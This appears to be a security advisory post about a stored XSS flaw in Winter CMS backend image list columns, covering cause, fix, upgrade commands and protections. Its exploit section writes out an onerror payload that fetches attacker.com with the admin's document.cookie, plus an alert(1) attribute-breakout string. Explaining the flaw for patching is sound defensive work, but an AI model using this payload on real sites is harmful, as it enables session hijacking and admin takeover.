Listen to this Post
The vulnerability resides in the `Backend\Widgets\Lists::evalImageTypeValue()` method, which is responsible for rendering image columns within backend list widgets. When a list column of type `image` is configured, this method constructs an HTML `` tag by interpolating the resolved image URL directly into a single-quoted `src` attribute without performing any escaping or sanitization. Under normal circumstances, the image source is resolved through trusted providers such as plugins, themes, the Media Library, the uploads directory, or `Attach\File` models. However, the `ImageResizer::filterGetUrl()` function, which resolves these sources, returns the input value verbatim when it cannot resolve the image to a valid source. This means that if a plugin renders an attacker-influenced value through an image list column, that unsupported value is passed straight into the `src` attribute without being rejected.
An attacker who can store a malicious payload—for example, via a plugin that stores user-supplied data later displayed in an image column—can craft a value that breaks out of the single-quoted attribute. Because the attribute is single-quoted, a payload like `’ onerror=’alert(1)` will close the `src` attribute and inject an `onerror` event handler. When a backend user views the affected list, the injected attributes execute in the context of that user’s session. This is a classic stored cross‑site scripting (XSS) attack, but with a twist: the payload does not need to be a valid URL. Even if the plugin validates the input as a URL using filter_var($url, FILTER_VALIDATE_URL), the payload can still pass because a slash (/) is valid both in a URL path and as a character that can appear after a quoted attribute value, allowing the injection to slip through validation.
Winter core does not ship any image list column by default, so a fresh installation is not vulnerable. Exploitation depends entirely on third‑party plugins that expose attacker-controlled data via an image column. The severity is somewhat limited because the attacker must first gain the ability to store the payload within the backend (e.g., through a plugin’s form or import feature), and then a backend user with access to that list must trigger the payload by viewing the page. Nonetheless, successful exploitation can lead to session hijacking, privilege escalation, or unauthorized actions performed on behalf of the admin. The issue was addressed by modifying `evalImageTypeValue()` to properly escape the image URL, as well as the width and height attributes taken from the column configuration, before embedding them into the HTML tag. The fix was released in version v1.2.14, with the specific commit 0941c9816181095fe35d58e78e6d0c4a49238967. For users unable to upgrade immediately, the patch can be manually applied to the file modules/backend/widgets/Lists.php.
DailyCVE Form:
Platform: Winter CMS
Version: <= 1.2.13
Vulnerability: Stored XSS
Severity: Medium
date: 2023-06-14
Prediction: Patched v1.2.14
What Undercode Say:
Check installed Winter CMS version php artisan winter:version Verify if the vulnerable method exists grep -n "evalImageTypeValue" modules/backend/widgets/Lists.php Apply the security commit manually (workaround) curl -L https://github.com/wintercms/winter/commit/0941c9816181095fe35d58e78e6d0c4a49238967.patch | git apply Upgrade to patched version via Composer composer require winter/storm "^1.2.14" --update-with-dependencies
Exploit: (Educational Purposes!)
To craft a proof-of-concept payload, an attacker would insert the following string into a field that is later rendered by a plugin as an image column value:
' onerror='fetch("//attacker.com/steal?c="+document.cookie)' //
When the backend list renders the `` tag, the single quote closes the `src` attribute, the `onerror` event handler is injected, and the final `//` comments out any trailing characters. The payload executes immediately when the image fails to load, sending the admin’s session cookie to an external server. Alternatively, a more subtle payload could inject `onmouseover` or `onfocus` handlers to trigger on interaction.
Protection:
- Upgrade to Winter CMS v1.2.14 or later immediately.
- If upgrade is not possible, manually apply the commit to `modules/backend/widgets/Lists.php` as provided in the advisory.
- Review any third‑party plugins that define image list columns; ensure they sanitize or validate user inputs before storing them.
- Consider using a Web Application Firewall (WAF) rule to block requests containing common XSS patterns in backend parameters, although this is a secondary defense.
- Enforce strict Content Security Policy (CSP) headers for the backend to mitigate the impact of any injected script.
Impact:
Successful exploitation allows an attacker with stored payload capabilities to execute arbitrary JavaScript within the session of any backend user who views the affected list. This can lead to full account takeover, data exfiltration, modification of CMS content, installation of malicious plugins, or execution of administrative actions—all while impersonating the victim user. Although exploitation requires a vulnerable plugin and user interaction, the impact is severe for affected deployments, potentially compromising the entire Winter CMS instance.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

